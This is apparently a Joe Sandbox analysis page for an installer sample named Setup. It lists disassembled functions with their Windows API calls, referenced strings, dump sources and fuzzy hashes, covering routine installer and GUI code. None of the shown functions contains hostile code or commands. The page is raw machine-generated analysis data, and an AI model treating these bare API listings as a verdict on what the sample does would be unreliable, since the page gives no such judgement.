Instruction ID: 688645ed5fbba4334e0265a7f6c96345d8555165f123d8b440818b99ef410629
Opcode Fuzzy Hash: 83731a3f8f6e924396f12c528bb8fd116da224faa73aa2749e9b9c3f15f1304b
Instruction Fuzzy Hash: 57E0E671750314EADA60BBA3AC8AF563664A774B15FD04837F400651D5DBBC0850CA2D

Function 00479D64 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?), ref: 00479D6C
GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,?,?,?,00479E57,0049F09C,00000000), ref: 00479D7F
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00479D85

Strings

AllowSetForegroundWindow, xrefs: 00479D75
user32.dll, xrefs: 00479D7A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProcProcessThreadWindow
String ID: AllowSetForegroundWindow$user32.dll
API String ID: 1782028327-3855017861
Opcode ID: 4fa8a3a2f1908eb87aa7839a43bfbac7af30ec7e9a3e0f6156509e54e5c6935c
Instruction ID: c6b12dd32d084abfee010d9c088788b7776197ae2d83a5cdd2f7a82d6696f022
Opcode Fuzzy Hash: 4fa8a3a2f1908eb87aa7839a43bfbac7af30ec7e9a3e0f6156509e54e5c6935c
Instruction Fuzzy Hash: 4FD09E9125071139DA20B2B68D4AD9B339CC944715720C53F7848E6187DA7CDC408679

Function 0045255C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0049B88F), ref: 00452597
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0045259D

Strings

NotifyWinEvent, xrefs: 0045258D
user32.dll, xrefs: 00452592
(%E, xrefs: 0045256F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: (%E$NotifyWinEvent$user32.dll
API String ID: 1646373207-2163588945
Opcode ID: 9dc81b149851fdd9ad63e8c869b541038e829116c04a42230c98d49637dbbbca
Instruction ID: f0974c2d8ce709599f189643cc3a95b11e2ca4a0f3a3e936faba1379543644de
Opcode Fuzzy Hash: 9dc81b149851fdd9ad63e8c869b541038e829116c04a42230c98d49637dbbbca
Instruction Fuzzy Hash: E1E0E6A0941318BADB00F7B799167093A90A76630BB50547FF90055293D7FC44588B2E

Function 00416BCC Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 00416BF2
SaveDC.GDI32(?), ref: 00416C23
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416CE5), ref: 00416C84
RestoreDC.GDI32(?,?), ref: 00416CAB
EndPaint.USER32(00000000,?,00416CEC,00000000,00416CE5), ref: 00416CDF

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: fa67a5a64e771084ae748d0e4f34318572d1d5a818680740cd0918b8b068e613
Instruction ID: 043f50aa319b7b1394d85cc3a10e586e0994b3545971b2cfdd511fc290729f1a
Opcode Fuzzy Hash: fa67a5a64e771084ae748d0e4f34318572d1d5a818680740cd0918b8b068e613
Instruction Fuzzy Hash: CF413F70A002049FDB14DF55C585FAA77F9FB48304F1680AEE44597362D778ED81CB58

Function 00459B28 Relevance: 7.6, APIs: 5, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?), ref: 00459B7A

Part of subcall function 00424188: GetWindowTextA.USER32(00010426,?,00000100), ref: 004241A8

Part of subcall function 0041EE24: GetCurrentThreadId.KERNEL32 ref: 0041EE73
Part of subcall function 0041EE24: 73EA5940.USER32(00000000,0041EDD4,00000000,00000000,0041EE90,?,00000000,0041EEC7,?,0042EBC0,?,00000001), ref: 0041EE79

Part of subcall function 004241D0: SetWindowTextA.USER32(00010426,00000000), ref: 004241E8

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00459BE1
TranslateMessage.USER32(?), ref: 00459BFF
DispatchMessageA.USER32(?), ref: 00459C08

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Message$TextWindow$A5940CurrentDispatchSendThreadTranslate
String ID:
API String ID: 1715333840-0
Opcode ID: 5af7d1e9a0e98b324c6d0cedc13f162632be5dc3ba26596888c01778ae7dc884
Instruction ID: 9d0798c4b2c4f996e5e8379e25fc80e1c78275fe62f7d0a87c30038df109898b
Opcode Fuzzy Hash: 5af7d1e9a0e98b324c6d0cedc13f162632be5dc3ba26596888c01778ae7dc884
Instruction Fuzzy Hash: 18319571904248AEDB11DFB5DC41BDE7BF8EB19304F55807BE800E3292D638AD09CB29

Function 004147C4 Relevance: 7.6, APIs: 5, Instructions: 99COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 004147FA
MulDiv.KERNEL32(?,?,?), ref: 00414814
MulDiv.KERNEL32(?,?,?), ref: 0041483D
MulDiv.KERNEL32(?,?,?), ref: 00414868
MulDiv.KERNEL32(00000000,?,00000000), ref: 004148A4

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c7506623f28596cd40dc2191f211b65a68313eebaffa4fb913cf6a42914aa92
Instruction ID: 517b2d40161453b1a30d929d3493d97bd40b03bfabc55184339b68b79f54f06e
Opcode Fuzzy Hash: 7c7506623f28596cd40dc2191f211b65a68313eebaffa4fb913cf6a42914aa92
Instruction Fuzzy Hash: 43316D746087809FC320EB69C944BA7B7E8AF89314F04491EE9D9C7751C778E8808B29

Function 004296C8 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429704
SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429733
SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 0042974F
SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 0042977A
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 00429798

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: e8442cc3d73b71864a5207736c3e1158072aa15621e5556971e80125e13fee09
Instruction ID: 06ba02062b8293c11bb1dc39565903902adf76325168d550afe6a8f3f09a551c
Opcode Fuzzy Hash: e8442cc3d73b71864a5207736c3e1158072aa15621e5556971e80125e13fee09
Instruction Fuzzy Hash: B021A170750705BAE710FFA2DC82F4BBAACDB81704F50443EB905A72D2DBB9AD41851D

Function 0041BB38 Relevance: 7.6, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BB4A
GetSystemMetrics.USER32(0000000C), ref: 0041BB54
73E9A570.USER32(00000000,00000001,0000000C,0000000B,?,?), ref: 0041BB92
73EA6310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BCFD,?,00000000,00000001,0000000C,0000000B,?,?), ref: 0041BBD9
DeleteObject.GDI32(00000000), ref: 0041BC1A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MetricsSystem$A570A6310DeleteObject
String ID:
API String ID: 3435189566-0
Opcode ID: 8235117116f4e3a9ac93697385cb3a2da7f48736f8babfe136a886ef42863a1c
Instruction ID: 5d327f00862aa1de66687b338978acac5f5d24771e0604e2751ce41170615fdd
Opcode Fuzzy Hash: 8235117116f4e3a9ac93697385cb3a2da7f48736f8babfe136a886ef42863a1c
Instruction Fuzzy Hash: 09313E74E00208EFDB00DFA5C941AAEB7F5EB48700F1185AAE514AB781D778AE40DF94

Function 00403C70 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CAA
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CB5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CC8
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403CD2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403CE1

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: dc5826dff8a8596d0f288c778f2ff50406061fd13e05bfdd3037018fdf1eaa6f
Instruction ID: 5f2ba9d5fce5f539ab0f437eee85b29109beae1d1af6aafdaf404315bd4a1923
Opcode Fuzzy Hash: dc5826dff8a8596d0f288c778f2ff50406061fd13e05bfdd3037018fdf1eaa6f
Instruction Fuzzy Hash: 6DF068A53442143AF16035B74C83FA7294CCB41BADF20057FB708FA2D2D8799D1542BD

Function 004143B0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

73E98830.GDI32(00000000,00000000,00000000), ref: 004143E9
73E922A0.GDI32(00000000,00000000,00000000,00000000), ref: 004143F1
73E98830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00414405
73E922A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041440B
73E9A480.USER32(00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00414416

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: E922E98830$A480
String ID:
API String ID: 3692852386-0
Opcode ID: 3cee173c71b8484230e9a0641f282f1dbb1e75ac1fefd6a2c2050b08a39eb765
Instruction ID: 6602e18854983e33d46df0cfb240217979305afdb75ecb2090fb679c31d383a1
Opcode Fuzzy Hash: 3cee173c71b8484230e9a0641f282f1dbb1e75ac1fefd6a2c2050b08a39eb765
Instruction Fuzzy Hash: A101BC7520C3406EE200B6398C45E9F6BDD8FCA314F04046AF484DB282CA7ACC018775

Function 00456BA8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,00456DDB,?,00000000,00456E45,?,?,-00000001,00000000,?,0047ED5D,00000000,0047ECAC,00000000), ref: 00456DB7
FindClose.KERNEL32(000000FF,00456DE2,00456DDB,?,00000000,00456E45,?,?,-00000001,00000000,?,0047ED5D,00000000,0047ECAC,00000000,00000001), ref: 00456DD5

Strings

W3H, xrefs: 00456CB2
W3H, xrefs: 00456E37, 00456C31, 00456C42, 00456C14

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$CloseFileNext
String ID: W3H$W3H
API String ID: 2066263336-1539097090
Opcode ID: 777479da27528da84bb83b331eafdc8e3a977174c0412c425c054cb036892bd9
Instruction ID: 7425928427f08db129b75b912429c49b8ee27d3d1e109839af0cb08e1e3d2814
Opcode Fuzzy Hash: 777479da27528da84bb83b331eafdc8e3a977174c0412c425c054cb036892bd9
Instruction Fuzzy Hash: 73819034A0424DAFCF12DFA5C8417EFBBB8AF45305F5444A6E84063392D3399E4ACB58

Function 00406FAC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156shareCOMMON

Download Yara Rule

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 0040700B
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 00407085
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 004070DD

Strings

Z, xrefs: 00407044

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: 2a9b088a1550f455bc8848e6b431f0252e1762e6777511af5cc4dac422dec88a
Instruction ID: f528548332f59951f8620295695bf8d3224a50643c92fc427fe9c6aa2ffd0231
Opcode Fuzzy Hash: 2a9b088a1550f455bc8848e6b431f0252e1762e6777511af5cc4dac422dec88a
Instruction Fuzzy Hash: 0E515270E042099FDB11DF95C941A9EBBB9FB48304F1041BAE510BB3D1C778AE418F5A

Function 0044FDF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 0044FE7E
DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044FEA9
DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044FF31

Strings

, xrefs: 0044FE63

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: DrawText$EmptyRect
String ID:
API String ID: 182455014-2867612384
Opcode ID: 1cb83c13383f4c4c02f1444cfe124ff03c76e45e5cd183a3572577fb3f548059
Instruction ID: c4e73ad91f502e487f151cf8b62dbba92116ec2062f41afa8ed6d2535b77dc19
Opcode Fuzzy Hash: 1cb83c13383f4c4c02f1444cfe124ff03c76e45e5cd183a3572577fb3f548059
Instruction Fuzzy Hash: AF517371900248AFDB10DFA5C885BDEBBF8FF49304F14447AE845EB252D738A948CB64

Function 0042EC84 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

73E9A570.USER32(00000000,00000000,0042EDD8,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042ECAE

Part of subcall function 0041A178: CreateFontIndirectA.GDI32(?), ref: 0041A237

SelectObject.GDI32(?,00000000), ref: 0042ECD1
73E9A480.USER32(00000000,?,0042EDBD,00000000,0042EDB6,?,00000000,00000000,0042EDD8,?,?,?,?,00000000,00000000,00000000), ref: 0042EDB0

Strings

...\, xrefs: 0042ED62

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: A480A570CreateFontIndirectObjectSelect
String ID: ...\
API String ID: 2998766281-983595016
Opcode ID: 401c4d69a1844de8a29eb86f58146fc3af66f172b95c4f855a9de9eddec0c0fb
Instruction ID: 31d34bd00b92e87c53914c21c5a8dadc58edaf15a1af8b0e5710ab3846d63e85
Opcode Fuzzy Hash: 401c4d69a1844de8a29eb86f58146fc3af66f172b95c4f855a9de9eddec0c0fb
Instruction Fuzzy Hash: 49319334B10129AFDF11DF96D841BAEB7B9EF08708F90447BF410A7291D7785E00CA59

Function 0045785C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 0045790A
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,004579D0), ref: 00457974

Strings

sfc.dll, xrefs: 004578CC
SfcIsFileProtected, xrefs: 00457904

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressByteCharMultiProcWide
String ID: SfcIsFileProtected$sfc.dll
API String ID: 2508298434-591603554
Opcode ID: 4c0a1fd5ecdf40832f5511409f97fdc29934c12f8e76ebda127feaf618538579
Instruction ID: 5b48895f66de2ffc5ea0ae4b824bfb58a5f3c5f16f0b65aa1f79f454f2a71058
Opcode Fuzzy Hash: 4c0a1fd5ecdf40832f5511409f97fdc29934c12f8e76ebda127feaf618538579
Instruction Fuzzy Hash: 924195B0A04218ABF710DB56DC85B9D77B8EB44305F5044B7E908A3292D7385F49CF6D

Function 00456488 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00499B25,_iu,?,00000000,004565C2), ref: 00456577
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00499B25,_iu,?,00000000,004565C2), ref: 00456587

Strings

.tmp, xrefs: 0045652B
_iu, xrefs: 00456519

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu
API String ID: 3498533004-10593223
Opcode ID: a2490a64c43d87101f45dd9cce53cab9d1d7f6ef4236f0bc52dd81fdc6152eb5
Instruction ID: d3538e6090f9e4d2d00c26546c4b2a553c12c3f0cc694111289cf1178b3d0a31
Opcode Fuzzy Hash: a2490a64c43d87101f45dd9cce53cab9d1d7f6ef4236f0bc52dd81fdc6152eb5
Instruction Fuzzy Hash: A431C970A40219ABCB11EF95D982B9EBBB4AF44315F61056AF900773C2D7385F058B9C

Function 004163B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,?,?), ref: 0041641F
UnregisterClassA.USER32(?,00400000), ref: 0041644B
RegisterClassA.USER32(?), ref: 0041646E

Strings

@, xrefs: 004163C9

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: c4bfc87ced2f4ac41ae49d92bee2efdbadf73df12cd31bc7f0fe45edc8e46dd3
Instruction ID: 9da6c0ad1581800b209e78a7e17ec6aaf7defffd81d81e9f8dc711fafdcea83f
Opcode Fuzzy Hash: c4bfc87ced2f4ac41ae49d92bee2efdbadf73df12cd31bc7f0fe45edc8e46dd3
Instruction Fuzzy Hash: 26316C706042018BD720EF69C881B9B77E9AB49308F00457EFA45DB392DB7AD9448B6A

Function 0045C40C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 0045C4C7

Strings

Failed to load .NET Framework DLL "%s", xrefs: 0045C4AC
CreateAssemblyCache, xrefs: 0045C4BE
Fusion.dll, xrefs: 0045C467

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc
String ID: CreateAssemblyCache$Failed to load .NET Framework DLL "%s"$Fusion.dll
API String ID: 190572456-1920768207
Opcode ID: 2cc95e647813204af0bf90794bc77b5eaf184aaf2b57f4adf727139a5557f0bf
Instruction ID: 17d62b35e66f8a080669e9a048e16630f22b8e5fc07cf8129d351ea96bc087ab
Opcode Fuzzy Hash: 2cc95e647813204af0bf90794bc77b5eaf184aaf2b57f4adf727139a5557f0bf
Instruction Fuzzy Hash: 7D318A71D007196FC700EFE5C8C1A5EB7A4AF45305F50857BE814E7382DB38AA08C799

Function 0049AEB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,0049B7F8,00000000,0049AFAA,?,?,00000000,0049E624), ref: 0049AF24
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,0049B7F8,00000000,0049AFAA,?,?,00000000,0049E624), ref: 0049AF4D
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0049AF66

Strings

isRS-%.3u.tmp, xrefs: 0049AF03

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: 9d19bc3feb84afa02060ad172b76fcaf5e2a1111d05916905be060fdec3b39e9
Instruction ID: 50df396e2adff9bceb666ab813c0ad57e46b5b7df046a60217aa6697ea478d62
Opcode Fuzzy Hash: 9d19bc3feb84afa02060ad172b76fcaf5e2a1111d05916905be060fdec3b39e9
